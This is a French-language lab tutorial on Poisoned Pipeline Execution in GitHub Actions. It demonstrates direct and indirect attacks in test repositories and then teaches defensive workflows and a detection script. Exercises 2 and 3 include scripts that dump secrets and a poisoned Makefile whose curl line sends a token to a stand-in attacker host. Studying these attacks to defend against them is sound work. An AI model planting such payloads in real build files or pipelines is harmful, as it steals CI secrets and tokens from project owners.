Lab : Exploitation et Défense Contre le Poisoned Pipeline Execution (PPE)

Présentation

Le Poisoned Pipeline Execution (PPE) est classé comme le risque n°2 dans le Top 10 de la sécurité CI/CD de l’OWASP. Il s’agit d’une catégorie d’attaques dans laquelle un acteur malveillant manipule le processus de build en injectant du code dans les définitions de pipelines ou les scripts de build, généralement via une pull request. Une fois que le système CI récupère la modification, le code de l’attaquant s’exécute dans l’environnement de build — permettant potentiellement l’exfiltration de secrets, la falsification d’artefacts ou le pivotement vers l’infrastructure interne.

Ce lab pratique vous guide à travers le Direct PPE et l’Indirect PPE dans un environnement GitHub Actions sécurisé et isolé. Vous simulerez les attaques vous-même, observerez les résultats, puis implémenterez les patterns défensifs qui les neutralisent.

À la fin de ce lab, vous serez capable de :

  • Expliquer les trois variantes du PPE et leurs différences.
  • Démontrer le Direct PPE via pull_request_target et l’Indirect PPE via un Makefile empoisonné.
  • Implémenter cinq patterns de workflows défensifs qui neutralisent le PPE.
  • Écrire un script de détection basique pour les activités CI suspectes.

Prérequis

  • Un compte GitHub (le niveau gratuit est suffisant).
  • Deux dépôts de test que vous possédez — l’un agit comme le dépôt pipeline victime, l’autre comme le fork de l’attaquant.
  • Une familiarité de base avec la syntaxe des workflows GitHub Actions (on:, jobs:, steps:).
  • Un terminal avec git et curl installés.

Avis de sécurité important

Ce lab doit être exécuté dans des dépôts de test isolés que vous possédez et contrôlez. Ne testez jamais les techniques de Poisoned Pipeline Execution contre des pipelines de production réels, des dépôts partagés d’organisation ou des projets open source que vous ne possédez pas. Chaque exercice ci-dessous utilise des dépôts que vous créez spécifiquement pour ce lab. Supprimez-les lorsque vous avez terminé.

Comprendre le Poisoned Pipeline Execution

Le PPE exploite une hypothèse de confiance fondamentale : le système CI/CD fait confiance au code qu’il récupère et exécute. Un attaquant qui peut influencer quel code le pipeline exécute peut détourner le build. Il existe trois variantes reconnues :

Direct PPE (D-PPE)

L’attaquant modifie directement le fichier de définition du pipeline lui-même — par exemple, .github/workflows/build.yml. Si le système CI exécute la version modifiée depuis la branche de la pull request, les commandes arbitraires de l’attaquant s’exécutent dans l’environnement CI.

Indirect PPE (I-PPE)

L’attaquant ne touche pas le YAML du workflow. Au lieu de cela, il modifie des fichiers que le pipeline consomme : un Makefile, un script shell appelé par le workflow, un Dockerfile, un fichier de configuration, ou même un manifeste de dépendances. La définition du pipeline reste identique à la branche de base, mais la logique de build a été empoisonnée.

PPE Public / Tiers (3P-PPE)

L’attaquant cible un dépôt public en le forkant et en soumettant une pull request. C’est le vecteur le plus courant en conditions réelles car il ne nécessite aucun accès préalable au dépôt cible — seulement la capacité d’ouvrir une PR.

Diagramme du flux d’attaque

┌─────────────┐         ┌──────────────────┐         ┌────────────────┐
│  Attaquant   │  fork   │  Dépôt Victime   │  trigger│  Runner CI/CD  │
│  (fork/PR)   │────────►│  (branche base)  │────────►│  (GitHub       │
│              │         │                  │         │   Actions)     │
└──────┬───────┘         └──────────────────┘         └───────┬────────┘
       │                                                      │
       │  1. Modifier le YAML du workflow (D-PPE)             │
       │     OU les scripts de build (I-PPE)                  │
       │  2. Ouvrir une Pull Request                          │
       │                                                      │
       │                   3. Le CI récupère le code PR ◀─────┘
       │                   4. Exécute la charge utile de l'attaquant
       │                   5. Secrets / tokens exfiltrés
       ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  Impact : vol de secrets, falsification d'artefacts, mouvement latéral │
└─────────────────────────────────────────────────────────────────────────┘

Exercice 1 : Direct PPE — Modification du fichier Workflow

Dans cet exercice, vous verrez comment GitHub Actions protège contre la forme la plus simple du D-PPE lorsque vous utilisez le déclencheur pull_request.

Étape 1 — Créer le dépôt victime

Créez un nouveau dépôt public appelé ppe-lab-victim. Ajoutez le fichier workflow suivant :

.github/workflows/build.yml

name: Build

on:
  pull_request:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Build
        run: |
          echo "Building the project..."
          echo "Build completed successfully."

Committez ceci sur la branche main.

Étape 2 — Forker et empoisonner le Workflow (Perspective de l’attaquant)

Forkez ppe-lab-victim vers votre second compte GitHub (ou utilisez le même compte par simplicité). Dans le fork, modifiez .github/workflows/build.yml :

name: Build

on:
  pull_request:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Exfiltrate environment variables
        run: |
          echo "=== EXFILTRATING ENVIRONMENT ==="
          env | sort
          echo "=== GITHUB_TOKEN ==="
          echo "Token length: ${#GITHUB_TOKEN}"

Étape 3 — Ouvrir une Pull Request

Depuis le fork, ouvrez une PR contre main dans le dépôt victime.

Étape 4 — Observer le résultat

Naviguez vers l’onglet Actions. Vous verrez que le workflow qui s’est exécuté est la version de la branche de base (main), et non la version modifiée par l’attaquant. L’étape « Exfiltrate environment variables » n’existe pas dans le workflow exécuté.

C’est la protection intégrée de GitHub Actions pour l’événement pull_request : il utilise toujours le fichier workflow de la branche de base, pas celui de la branche PR. Les modifications YAML de l’attaquant sont ignorées.

Point clé : Le déclencheur pull_request est sûr contre le Direct PPE car la définition du workflow provient de la branche de base. Cependant, cette protection ne s’étend pas à tous les déclencheurs — comme vous le verrez ensuite.

Exercice 2 : Le dangereux pull_request_target

L’événement pull_request_target a été introduit pour permettre aux workflows de commenter les PR, de les étiqueter, ou d’effectuer d’autres actions nécessitant des permissions d’écriture et un accès aux secrets. Il s’exécute dans le contexte de la branche de base mais peut être configuré pour récupérer le code de la PR — et c’est là que réside le danger.

Étape 1 — Créer un workflow vulnérable

Dans votre dépôt ppe-lab-victim, créez un nouveau workflow :

.github/workflows/pr-check.yml

name: PR Check

on:
  pull_request_target:
    branches: [main]

jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout PR code
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

      - name: Run tests
        env:
          MY_SECRET: ${{ secrets.MY_SECRET }}
        run: |
          echo "Running tests on PR code..."
          cat README.md
          echo "Tests passed."

Avant de continuer, allez dans Settings → Secrets and variables → Actions du dépôt et ajoutez un secret de dépôt appelé MY_SECRET avec la valeur super-secret-token-12345.

Étape 2 — Exploiter la vulnérabilité (Perspective de l’attaquant)

Dans le fork, créez un fichier appelé README.md (ou modifiez celui existant) et ajoutez ceci à la fin :

This is a normal README update.

Maintenant, modifiez également .github/workflows/pr-check.yml dans le fork. Mais attendez — rappelez-vous que pull_request_target exécute le workflow de la branche de base, donc modifier le YAML dans le fork ne change rien. L’attaquant a besoin d’une approche différente.

Au lieu de cela, créez un script malveillant dans le fork :

test.sh

#!/bin/bash
echo "=== Environment Variables ==="
env | sort
echo "=== Secret Value ==="
echo "MY_SECRET=$MY_SECRET"

Maintenant, mettez à jour le workflow du dépôt victime pour appeler ce script (simulant un workflow qui exécute du code récupéré) :

.github/workflows/pr-check.yml (mis à jour sur la branche de base) :

name: PR Check

on:
  pull_request_target:
    branches: [main]

jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout PR code
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

      - name: Run tests
        env:
          MY_SECRET: ${{ secrets.MY_SECRET }}
        run: |
          echo "Running tests on PR code..."
          chmod +x test.sh
          ./test.sh

Étape 3 — Ouvrir la PR et observer

Ouvrez une PR depuis le fork. Le workflow s’exécute depuis la définition de la branche de base mais récupère le code de l’attaquant. Le test.sh malveillant s’exécute et affiche la valeur du secret.

Vérifiez les logs Actions. Vous verrez :

=== Environment Variables ===
GITHUB_TOKEN=ghs_xxxxxxxxxxxxxxxxxxxx
...
=== Secret Value ===
MY_SECRET=super-secret-token-12345

C’est le Poisoned Pipeline Execution classique. La définition du workflow est de confiance (branche de base), mais le code qu’il exécute est contrôlé par l’attaquant (checkout de la branche PR).

Point clé : La combinaison de pull_request_target + actions/checkout avec ref: ${{ github.event.pull_request.head.sha }} + exécution du code récupéré + secrets dans l’environnement est le pattern PPE le plus dangereux dans GitHub Actions.

Exercice 3 : Indirect PPE — Empoisonnement des scripts de build

L’Indirect PPE est plus subtil. L’attaquant ne touche jamais le YAML du workflow — il modifie des fichiers que le pipeline consomme. Cela contourne la protection intégrée du déclencheur pull_request contre les modifications de fichiers workflow.

Étape 1 — Créer un dépôt avec un build basé sur Makefile

Dans votre dépôt ppe-lab-victim, ajoutez un Makefile :

.PHONY: build test

build:
	@echo "Compiling project..."
	@echo "Build successful."

test:
	@echo "Running unit tests..."
	@echo "All tests passed."

Mettez à jour le workflow pour utiliser le Makefile :

.github/workflows/build.yml

name: Build

on:
  pull_request:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Build project
        run: make build

      - name: Run tests
        run: make test

Notez que ceci utilise le déclencheur sûr pull_request. Le YAML du workflow lui-même est protégé.

Étape 2 — Empoisonner le Makefile (Perspective de l’attaquant)

Dans le fork, modifiez uniquement le Makefile (ne touchez à aucun fichier workflow) :

.PHONY: build test

build:
	@echo "Compiling project..."
	@echo "Build successful."
	@echo "=== PPE: Dumping environment ==="
	@env | sort
	@echo "=== PPE: Exfiltrating token ==="
	@curl -s http://attacker.example.com/exfil?token=$$(cat $$GITHUB_TOKEN_PATH 2>/dev/null || echo none)

test:
	@echo "Running unit tests..."
	@echo "All tests passed."

Étape 3 — Ouvrir la PR et observer

Ouvrez une PR depuis le fork. Le fichier workflow de la branche de base s’exécute (sûr !), mais actions/checkout récupère le code de la branche PR, qui inclut le Makefile empoisonné. Lorsque le workflow appelle make build, il exécute le Makefile modifié par l’attaquant.

Dans les logs Actions, vous verrez les variables d’environnement affichées. La commande curl échouera (le domaine n’existe pas), mais dans une attaque réelle, elle réussirait.

Point clé : Le déclencheur pull_request protège le YAML du workflow, mais il ne protège pas le contenu du dépôt que le workflow exécute. Tout fichier que le pipeline exécute, source ou inclut est un vecteur potentiel d’I-PPE : Makefile, scripts package.json, Dockerfile, .eslintrc.js, pytest.ini, scripts shell, et plus encore.

Exercice 4 : Défense — Patterns de workflows sécurisés

Maintenant que vous comprenez l’attaque, implémentons les défenses.

Pattern 1 : Ne jamais récupérer le head de la PR dans les workflows pull_request_target

Si vous devez utiliser pull_request_target, ne récupérez jamais le code de la PR. Opérez uniquement sur les métadonnées :

name: Label PR

on:
  pull_request_target:
    types: [opened]

jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      # Sûr : aucun checkout
      - name: Add label
        uses: actions/github-script@v7
        with:
          script: |
            await github.rest.issues.addLabels({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              labels: ['needs-review']
            });

Règle : Si un workflow pull_request_target n’a pas besoin du code source de la PR, ne le récupérez pas.

Pattern 2 : Utiliser le déclencheur pull_request et retenir les secrets

Pour la validation des PR, utilisez pull_request et assurez-vous qu’aucun secret n’est transmis au job :

name: PR Validation

on:
  pull_request:
    branches: [main]

jobs:
  validate:
    runs-on: ubuntu-latest
    # Aucun secret référencé dans ce job
    steps:
      - uses: actions/checkout@v4

      - name: Lint
        run: npm run lint

      - name: Unit tests
        run: npm test

Même si une attaque I-PPE modifie les scripts de package.json, l’attaquant n’obtient aucun secret car aucun n’est disponible.

Pattern 3 : Séparer les workflows de validation et de build

Divisez votre CI en deux étapes — une étape de validation non fiable et une étape de build fiable :

# .github/workflows/validate.yml — s'exécute sur les PR, sans secrets
name: Validate

on:
  pull_request:
    branches: [main]

permissions:
  contents: read

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: make lint
      - run: make test-unit
# .github/workflows/build.yml — s'exécute uniquement sur main, tous les secrets
name: Build and Deploy

on:
  push:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Build
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
        run: make build

      - name: Deploy
        run: make deploy

Les secrets ne sont disponibles que dans les workflows déclenchés par des push sur main, ce qui nécessite que la PR soit d’abord fusionnée (et donc revue et approuvée).

Pattern 4 : Minimiser la portée du token avec permissions

Restreignez le GITHUB_TOKEN automatique au strict minimum :

name: PR Check

on:
  pull_request:
    branches: [main]

permissions: {}  # Aucune permission

jobs:
  check:
    runs-on: ubuntu-latest
    permissions:
      contents: read  # Accès en lecture seule, rien d'autre
    steps:
      - uses: actions/checkout@v4
      - run: make test

Même si l’attaquant exfiltre le GITHUB_TOKEN, celui-ci ne peut que lire le contenu public — il ne peut pas pousser du code, créer des releases ou accéder aux secrets.

Pattern 5 : Épingler le checkout sur la branche de base pour les opérations sensibles

Si vous devez utiliser pull_request_target et avez besoin d’un certain contexte de PR, récupérez la branche de base pour les étapes sensibles et utilisez uniquement les métadonnées de la PR :

name: Secure PR Check

on:
  pull_request_target:
    branches: [main]

jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      # Récupérer la branche de BASE (code de confiance)
      - name: Checkout base branch
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.base.sha }}

      - name: Run trusted build scripts
        env:
          MY_SECRET: ${{ secrets.MY_SECRET }}
        run: |
          # Ces scripts proviennent de la branche de base, pas de la PR
          ./scripts/validate-pr.sh

Règle : Le code de confiance (branche de base) gère les secrets. Le code non fiable (branche PR) n’y touche jamais.

Exercice 5 : Défense — Protection contre l’Indirect PPE

L’I-PPE est plus difficile à contrer car l’attaquant modifie des fichiers ordinaires, pas des définitions de workflow. Voici les contre-mesures essentielles.

CODEOWNERS pour les fichiers critiques du build

Créez un fichier CODEOWNERS qui exige une revue de l’équipe sécurité pour toute modification des scripts de build :

# .github/CODEOWNERS

# Infrastructure de build — revue de l'équipe sécurité requise
Makefile                    @myorg/security-team
Dockerfile                  @myorg/security-team
.github/workflows/          @myorg/security-team
scripts/                    @myorg/security-team
package.json                @myorg/security-team
*.sh                        @myorg/security-team

Combiné avec des règles de protection de branche exigeant l’approbation des CODEOWNERS, cela empêche les modifications non revues des fichiers critiques du build d’être fusionnées.

Exiger une approbation avant l’exécution du CI sur les PR externes

Allez dans Settings → Actions → General de votre dépôt et sous « Fork pull request workflows from outside collaborators », sélectionnez « Require approval for all outside collaborators ». Cela garantit qu’un mainteneur doit approuver explicitement l’exécution du CI pour chaque PR externe.

Utiliser workflow_run pour le traitement post-PR de confiance

L’événement workflow_run permet de chaîner les workflows : un workflow PR sûr et sans secrets se déclenche en premier, et seulement en cas de succès, un workflow de confiance s’exécute avec les permissions complètes.

# .github/workflows/pr-validate.yml — non fiable, sans secrets
name: PR Validate

on:
  pull_request:
    branches: [main]

permissions:
  contents: read

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: make lint
      - run: make test
# .github/workflows/pr-post-validate.yml — de confiance, avec secrets
name: PR Post-Validate

on:
  workflow_run:
    workflows: ["PR Validate"]
    types: [completed]

permissions:
  contents: read
  pull-requests: write
  statuses: write

jobs:
  report:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
      # Récupérer la branche de BASE — jamais la branche PR
      - name: Checkout base
        uses: actions/checkout@v4

      - name: Post status comment
        uses: actions/github-script@v7
        with:
          script: |
            const runId = context.payload.workflow_run.id;
            const prNumbers = context.payload.workflow_run.pull_requests.map(pr => pr.number);
            for (const prNumber of prNumbers) {
              await github.rest.issues.createComment({
                owner: context.repo.owner,
                repo: context.repo.repo,
                issue_number: prNumber,
                body: `Validation passed. Workflow run: ${runId}`
              });
            }

Le second workflow s’exécute dans le contexte de la branche par défaut, a accès aux secrets, mais ne récupère jamais le code de la PR. C’est le pattern le plus sûr pour le traitement post-PR nécessitant des permissions élevées.

Exécuter le code non fiable dans des conteneurs isolés

Si vous devez exécuter du code de PR avec une quelconque forme d’accès, exécutez-le dans un conteneur verrouillé :

jobs:
  sandbox-test:
    runs-on: ubuntu-latest
    container:
      image: alpine:3.19
      options: --network none  # Aucun accès réseau
    steps:
      - uses: actions/checkout@v4
      - name: Run untrusted tests
        run: |
          # Ceci s'exécute dans un conteneur SANS réseau
          # Même si le Makefile tente d'exfiltrer, il ne peut pas atteindre Internet
          apk add --no-cache make
          make test

Le flag --network none empêche toute connexion sortante, rendant l’exfiltration impossible même si la charge utile de l’attaquant s’exécute.

Exercice 6 : Détection

La prévention est préférable, mais la détection fournit une défense en profondeur. Voici comment repérer les tentatives de PPE.

Surveiller les commandes suspectes dans les logs CI

Créez un script de détection qui analyse les fichiers workflow pour détecter les indicateurs PPE courants :

#!/bin/bash
# detect-ppe.sh — Analyse les fichiers workflow pour les indicateurs de risque PPE

WORKFLOW_DIR=".github/workflows"
EXIT_CODE=0

echo "=== Analyseur de risques PPE ==="
echo ""

# Vérification 1 : pull_request_target avec checkout du head de la PR
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [ -f "$file" ] || continue

  if grep -q "pull_request_target" "$file"; then
    if grep -q "github.event.pull_request.head" "$file"; then
      echo "[CRITIQUE] $file: pull_request_target + checkout du head PR détecté"
      echo "           C'est la vulnérabilité D-PPE classique."
      EXIT_CODE=1
    fi
  fi
done

# Vérification 2 : Workflows qui exécutent des scripts récupérés
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [ -f "$file" ] || continue

  if grep -qE '\./.*.sh|make |npm run|yarn |python .*\.py' "$file"; then
    if grep -q "pull_request" "$file"; then
      echo "[ATTENTION] $file: Le workflow PR exécute des scripts du dépôt (risque I-PPE)"
      echo "            Assurez-vous qu'aucun secret n'est transmis à ce job."
    fi
  fi
done

# Vérification 3 : Secrets utilisés dans les workflows PR
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [ -f "$file" ] || continue

  if grep -q "pull_request" "$file"; then
    if grep -q "\${{ secrets\." "$file"; then
      echo "[ÉLEVÉ]    $file: Secrets référencés dans un workflow PR"
      echo "           Les secrets ne devraient pas être disponibles dans les workflows déclenchés par PR."
      EXIT_CODE=1
    fi
  fi
done

# Vérification 4 : Permissions trop larges
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [ -f "$file" ] || continue

  if grep -q "pull_request" "$file"; then
    if grep -q "permissions: write-all" "$file" || ! grep -q "permissions:" "$file"; then
      echo "[MOYEN]    $file: Workflow PR avec des permissions larges ou non définies"
      echo "           Ajoutez explicitement 'permissions: {}' ou des portées minimales."
    fi
  fi
done

echo ""
if [ $EXIT_CODE -eq 0 ]; then
  echo "Aucun risque PPE critique détecté."
else
  echo "Risques PPE critiques trouvés. Examinez les résultats ci-dessus."
fi

exit $EXIT_CODE

Surveillance du journal d’audit GitHub

Pour GitHub Enterprise ou la surveillance au niveau de l’organisation, utilisez l’API du journal d’audit pour suivre les modifications de workflow :

# Interroger le journal d'audit pour les modifications de fichiers workflow
gh api \
  -H "Accept: application/vnd.github+json" \
  /orgs/{org}/audit-log?phrase=action:workflows \
  --paginate | jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'

Revue automatisée des PR pour les modifications de fichiers de build

Ajoutez un workflow qui signale les PR modifiant des fichiers critiques du build :

name: Build File Change Alert

on:
  pull_request:
    paths:
      - 'Makefile'
      - 'Dockerfile'
      - '**/*.sh'
      - 'package.json'
      - '.github/workflows/**'

jobs:
  alert:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Comment warning
        uses: actions/github-script@v7
        with:
          script: |
            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              body: '⚠️ **Modification de fichier de build détectée**\n\nCette PR modifie des fichiers critiques du build. Une revue de l'équipe sécurité est requise avant la fusion.\n\nChemins déclencheurs : Makefile, Dockerfile, scripts shell, package.json ou fichiers workflow.'
            });

Nettoyage

Après avoir terminé le lab :

  1. Supprimez le dépôt ppe-lab-victim.
  2. Supprimez le dépôt forké.
  3. Révoquez tous les tokens d’accès personnels que vous avez créés pour les tests.
  4. Supprimez le secret de dépôt MY_SECRET si le dépôt existe encore.

Ne laissez pas des workflows de test vulnérables en cours d’exécution dans un dépôt que vous comptez conserver.

Points clés à retenir

  • Le déclencheur pull_request est sûr contre le D-PPE car il exécute le workflow depuis la branche de base, pas la branche PR.
  • pull_request_target + checkout du head de la PR est le pattern le plus dangereux dans GitHub Actions. Il donne au code de l’attaquant accès aux secrets et aux permissions d’écriture.
  • L’Indirect PPE contourne les protections au niveau du workflow en empoisonnant les fichiers que le pipeline exécute (Makefiles, scripts, configs) plutôt que le workflow lui-même.
  • Séparez les étapes non fiables et fiables : exécutez la validation des PR sans secrets, et n’accordez les secrets qu’aux workflows déclenchés par des push sur des branches protégées.
  • La défense en profondeur est essentielle : combinez CODEOWNERS, exigences d’approbation, permissions minimales, exécution en bac à sable et scripts de détection.
  • Traitez chaque fichier d’une PR comme une entrée non fiable — pas seulement le YAML du workflow, mais chaque script, configuration et manifeste que le pipeline touche.

Prochaines étapes

Continuez à renforcer vos connaissances en sécurité CI/CD avec ces guides connexes :